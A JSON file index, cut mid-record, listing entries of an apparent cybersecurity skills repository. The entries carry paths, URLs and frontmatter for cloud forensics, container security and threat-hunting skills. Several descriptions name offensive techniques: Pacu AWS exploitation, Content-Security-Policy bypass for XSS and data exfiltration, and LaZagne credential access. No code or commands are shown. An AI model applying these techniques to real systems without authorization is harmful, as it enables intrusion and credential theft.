-->","isInternal":false,"tokens":174,"sizeBytes":820},{"name":"SKILL.md","path":"skills/performing-cloud-asset-inventory-with-cartography/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-asset-inventory-with-cartography/SKILL.md","title":"performing-cloud-asset-inventory-with-cartography","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-asset-inventory-with-cartography%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-asset-inventory-with-cartography","description":"Run Cartography to sync AWS, GCP, or Azure resources into a Neo4j graph database, mapping relationships such as IAM permission chains, network paths, and cross-account trust. Use when building a cloud asset inventory, querying the graph to identify attack paths, or generating security reports across multi-cloud infrastructure.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cartography","neo4j","cloud-security","asset-inventory","attack-path","graph-database","cncf","lyft"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580"]},"isInternal":false,"tokens":1889,"sizeBytes":6747},{"name":"api-reference.md","path":"skills/performing-cloud-forensics-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-forensics-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":580,"sizeBytes":2483},{"name":"SKILL.md","path":"skills/performing-cloud-forensics-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-forensics-investigation/SKILL.md","title":"performing-cloud-forensics-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-investigation%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-forensics-investigation","description":"Collect and analyze cloud forensic evidence using AWS CLI, Azure CLI, or gcloud to snapshot volumes, capture instance metadata and security group configurations, and preserve cloud-native logs (CloudTrail, Activity Log, Audit Log). Use when investigating a suspected breach in AWS, Azure, or GCP, tracing unauthorized access through API logs, or analyzing a compromised VM, container, or serverless function.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","cloud-forensics","aws","azure","gcp","incident-response","log-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1078.004"]},"isInternal":false,"tokens":3536,"sizeBytes":13749},{"name":"api-reference.md","path":"skills/performing-cloud-forensics-with-aws-cloudtrail/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-forensics-with-aws-cloudtrail/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-with-aws-cloudtrail%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":823,"sizeBytes":3244},{"name":"SKILL.md","path":"skills/performing-cloud-forensics-with-aws-cloudtrail/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-forensics-with-aws-cloudtrail/SKILL.md","title":"performing-cloud-forensics-with-aws-cloudtrail","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-forensics-with-aws-cloudtrail%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-forensics-with-aws-cloudtrail","description":"Investigate AWS account compromise by querying CloudTrail with boto3's LookupEvents or AWS Athena SQL over S3-delivered logs, filtering on suspicious user agents, source IPs, and event names to reconstruct an attacker timeline. Use when tracing unauthorized API calls, S3 data exfiltration, IAM privilege escalation, or credential exposure, and building a forensic report of findings and remediation steps.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","cloudtrail","forensics","incident-response","dfir","boto3","s3"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1003"]},"isInternal":false,"tokens":790,"sizeBytes":3378},{"name":"template.md","path":"skills/performing-cloud-incident-containment-procedures/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-incident-containment-procedures/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":342,"sizeBytes":1397},{"name":"api-reference.md","path":"skills/performing-cloud-incident-containment-procedures/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-incident-containment-procedures/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1271,"sizeBytes":5402},{"name":"standards.md","path":"skills/performing-cloud-incident-containment-procedures/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-incident-containment-procedures/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":238,"sizeBytes":1165},{"name":"workflows.md","path":"skills/performing-cloud-incident-containment-procedures/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-incident-containment-procedures/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":623,"sizeBytes":2562},{"name":"SKILL.md","path":"skills/performing-cloud-incident-containment-procedures/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-incident-containment-procedures/SKILL.md","title":"performing-cloud-incident-containment-procedures","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-incident-containment-procedures%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-incident-containment-procedures","description":"Execute cloud-native incident containment across AWS, Azure, and GCP using platform CLIs to revoke or disable compromised IAM credentials, isolate resources with security groups and network ACLs, and preserve forensic evidence via snapshots. Use when responding to a cloud security incident that requires stopping lateral movement while keeping evidence intact for later investigation.","domain":"cybersecurity","subdomain":"incident-response","tags":["cloud-security","incident-containment","aws","azure","gcp","cloud-forensics","credential-revocation","network-isolation"],"mitre_attack":["T1486","T1490","T1070","T1078","T1021"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"],"nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2709,"sizeBytes":11182},{"name":"api-reference.md","path":"skills/performing-cloud-log-forensics-with-athena/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-log-forensics-with-athena/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":2293,"sizeBytes":9210},{"name":"athena-forensics-reference.md","path":"skills/performing-cloud-log-forensics-with-athena/references/athena-forensics-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-log-forensics-with-athena/references/athena-forensics-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2Freferences%2Fathena-forensics-reference.md -->","isInternal":false,"tokens":1252,"sizeBytes":5080},{"name":"SKILL.md","path":"skills/performing-cloud-log-forensics-with-athena/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-log-forensics-with-athena/SKILL.md","title":"performing-cloud-log-forensics-with-athena","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-log-forensics-with-athena%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-log-forensics-with-athena","description":"Uses AWS Athena to query CloudTrail, VPC Flow Logs, S3 access logs, and ALB logs for forensic investigation. Covers CREATE TABLE DDL with partition projection, forensic SQL queries for detecting unauthorized access, data exfiltration, lateral movement, and privilege escalation. Use when investigating AWS security incidents or building cloud-native forensic workflows at scale.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud","forensics","athena","aws","cloudtrail","vpc-flow-logs","s3","alb"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1021"]},"isInternal":false,"tokens":3946,"sizeBytes":14972},{"name":"api-reference.md","path":"skills/performing-cloud-native-forensics-with-falco/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-native-forensics-with-falco/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-forensics-with-falco%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":406,"sizeBytes":1550},{"name":"SKILL.md","path":"skills/performing-cloud-native-forensics-with-falco/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-native-forensics-with-falco/SKILL.md","title":"performing-cloud-native-forensics-with-falco","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-forensics-with-falco%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-native-forensics-with-falco","description":"Uses Falco YAML rules for runtime threat detection in containers and Kubernetes, monitoring syscalls for shell spawns, file tampering, network anomalies, and privilege escalation. Manages Falco rules via the Falco gRPC API and parses Falco alert output. Use when building container runtime security or investigating k8s cluster compromises.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","falco","runtime-threat-detection","container-forensics","kubernetes-security","syscall-monitoring"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1068"]},"isInternal":false,"tokens":622,"sizeBytes":2537},{"name":"template.md","path":"skills/performing-cloud-native-threat-hunting-with-aws-detective/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-native-threat-hunting-with-aws-detective/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":250,"sizeBytes":1116},{"name":"api-reference.md","path":"skills/performing-cloud-native-threat-hunting-with-aws-detective/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-native-threat-hunting-with-aws-detective/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":2206,"sizeBytes":8716},{"name":"standards.md","path":"skills/performing-cloud-native-threat-hunting-with-aws-detective/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-native-threat-hunting-with-aws-detective/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":287,"sizeBytes":1084},{"name":"workflows.md","path":"skills/performing-cloud-native-threat-hunting-with-aws-detective/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-native-threat-hunting-with-aws-detective/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":259,"sizeBytes":1115},{"name":"SKILL.md","path":"skills/performing-cloud-native-threat-hunting-with-aws-detective/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-native-threat-hunting-with-aws-detective/SKILL.md","title":"performing-cloud-native-threat-hunting-with-aws-detective","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-native-threat-hunting-with-aws-detective%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-native-threat-hunting-with-aws-detective","description":"Investigate AWS security incidents using Amazon Detective's behavior graphs, built from CloudTrail, VPC Flow Logs, GuardDuty, and EKS audit logs, to trace entity timelines and profile IAM users, roles, EC2 instances, and IP addresses for lateral movement. Use when triaging GuardDuty findings, investigating a suspected AWS compromise, or reconstructing an attacker's activity timeline across AWS accounts.","domain":"cybersecurity","subdomain":"cloud-security","tags":["aws-detective","threat-hunting","cloud-security","guardduty","behavior-graph","aws","iam","ec2","incident-investigation"],"version":"1.0","author":"juliosuas","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1071"]},"isInternal":false,"tokens":1485,"sizeBytes":5960},{"name":"api-reference.md","path":"skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-penetration-testing-with-pacu/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-penetration-testing-with-pacu%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":623,"sizeBytes":2473},{"name":"SKILL.md","path":"skills/performing-cloud-penetration-testing-with-pacu/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-penetration-testing-with-pacu/SKILL.md","title":"performing-cloud-penetration-testing-with-pacu","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-penetration-testing-with-pacu%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-penetration-testing-with-pacu","description":"Run authorized AWS penetration tests with Pacu, the open-source AWS exploitation framework, to enumerate IAM configuration, scan for privilege escalation paths, and test data access and lateral movement using compromised credentials. Use when conducting authorized red-team assessments of AWS environments, validating IAM policies and SCPs, or determining the blast radius of compromised AWS credentials.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","pacu","penetration-testing","offensive-security","iam-exploitation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1068"]},"isInternal":false,"tokens":2700,"sizeBytes":11325},{"name":"template.md","path":"skills/performing-cloud-storage-forensic-acquisition/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-storage-forensic-acquisition/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":124,"sizeBytes":556},{"name":"api-reference.md","path":"skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-storage-forensic-acquisition/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1432,"sizeBytes":6146},{"name":"standards.md","path":"skills/performing-cloud-storage-forensic-acquisition/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-storage-forensic-acquisition/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":182,"sizeBytes":784},{"name":"workflows.md","path":"skills/performing-cloud-storage-forensic-acquisition/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-storage-forensic-acquisition/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":175,"sizeBytes":824},{"name":"SKILL.md","path":"skills/performing-cloud-storage-forensic-acquisition/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-cloud-storage-forensic-acquisition/SKILL.md","title":"performing-cloud-storage-forensic-acquisition","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cloud-storage-forensic-acquisition%2FSKILL.md -->","frontmatter":{"name":"performing-cloud-storage-forensic-acquisition","description":"Perform forensic acquisition of cloud storage services including Google Drive, OneDrive, Dropbox, and Box by pulling API-based remote data such as revision history and audit logs, and collecting local sync-client artifacts including KAPE targets and OneDrive databases from endpoints. Use during incident response or e-discovery when evidence resides in cloud-synced storage and both cloud-side and endpoint-side artifacts must be preserved.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["cloud-forensics","google-drive","onedrive","dropbox","box","cloud-acquisition","api-forensics","sync-client","endpoint-artifacts","magnet-axiom"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3491,"sizeBytes":14087},{"name":"api-reference.md","path":"skills/performing-container-escape-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-escape-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-escape-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":380,"sizeBytes":1497},{"name":"SKILL.md","path":"skills/performing-container-escape-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-escape-detection/SKILL.md","title":"performing-container-escape-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-escape-detection%2FSKILL.md -->","frontmatter":{"name":"performing-container-escape-detection","description":"Audits container and pod configuration for escape-enabling misconfiguration using the Kubernetes Python client - privileged flags, dangerous capability grants, host path mounts, shared namespaces, and CVE-2022-0492 style cgroup abuse. Use when sweeping a cluster for workloads that could break out, producing a posture report, or checking configuration before enforcement is switched on. Keywords: privileged, hostPath, hostPID, capabilities, CVE-2022-0492, cgroup, kubernetes python client, posture audit. Do not use for runtime syscall-based detection - use detecting-container-escape-attempts.\n'","domain":"cybersecurity","subdomain":"container-security","tags":["container-security","container-escape","privileged-container","namespace-analysis","linux-capabilities","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":594,"sizeBytes":2592},{"name":"template.md","path":"skills/performing-container-image-hardening/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-image-hardening/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":423,"sizeBytes":1391},{"name":"api-reference.md","path":"skills/performing-container-image-hardening/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-image-hardening/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1347,"sizeBytes":5250},{"name":"standards.md","path":"skills/performing-container-image-hardening/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-image-hardening/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":243,"sizeBytes":953},{"name":"workflows.md","path":"skills/performing-container-image-hardening/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-image-hardening/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":439,"sizeBytes":1827},{"name":"SKILL.md","path":"skills/performing-container-image-hardening/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-image-hardening/SKILL.md","title":"performing-container-image-hardening","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-image-hardening%2FSKILL.md -->","frontmatter":{"name":"performing-container-image-hardening","description":"Harden container images by minimizing attack surface, stripping unnecessary packages, implementing multi-stage builds, configuring non-root users, and applying CIS Docker Benchmark recommendations to produce secure, production-ready images. Use when building production container images, when compliance requires CIS Docker Benchmark adherence, or when shrinking image size to reduce vulnerability exposure from unused packages.\n","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","container-hardening","docker","cis-benchmark","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004","T1610","T1611"]},"isInternal":false,"tokens":2118,"sizeBytes":8531},{"name":"api-reference.md","path":"skills/performing-container-security-scanning-with-trivy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-security-scanning-with-trivy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-security-scanning-with-trivy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":726,"sizeBytes":2517},{"name":"SKILL.md","path":"skills/performing-container-security-scanning-with-trivy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-container-security-scanning-with-trivy/SKILL.md","title":"performing-container-security-scanning-with-trivy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-container-security-scanning-with-trivy%2FSKILL.md -->","frontmatter":{"name":"performing-container-security-scanning-with-trivy","description":"Runs Trivy across every target type it supports - container images, filesystems, Git repositories, and Kubernetes clusters - for OS and dependency vulnerabilities, IaC misconfiguration, exposed secrets, and licences, generating CycloneDX or SPDX SBOMs. Use when integrating Trivy into CI/CD, deploying the Trivy Kubernetes operator, scanning non-image targets, or triaging results at scale. Keywords: Trivy, trivy k8s, operator, SBOM, CycloneDX, SPDX, misconfig, secret scanning. Do not use for a single Docker image scan - use scanning-docker-images-with-trivy.","domain":"cybersecurity","subdomain":"container-security","tags":["trivy","container-security","vulnerability-scanning","sbom","docker","kubernetes","devsecops","supply-chain"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1195"]},"isInternal":false,"tokens":710,"sizeBytes":3269},{"name":"api-reference.md","path":"skills/performing-content-security-policy-bypass/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-content-security-policy-bypass%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1543,"sizeBytes":6611},{"name":"SKILL.md","path":"skills/performing-content-security-policy-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/SKILL.md","title":"performing-content-security-policy-bypass","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-content-security-policy-bypass%2FSKILL.md -->","frontmatter":{"name":"performing-content-security-policy-bypass","description":"Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration for weaknesses.","domain":"cybersecurity","subdomain":"web-application-security","tags":["csp-bypass","content-security-policy","xss","script-injection","nonce-bypass","jsonp","policy-misconfiguration"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":2240,"sizeBytes":9231},{"name":"template.md","path":"skills/performing-credential-access-with-lazagne/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-credential-access-with-lazagne/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Fassets%2Ftemplate.md 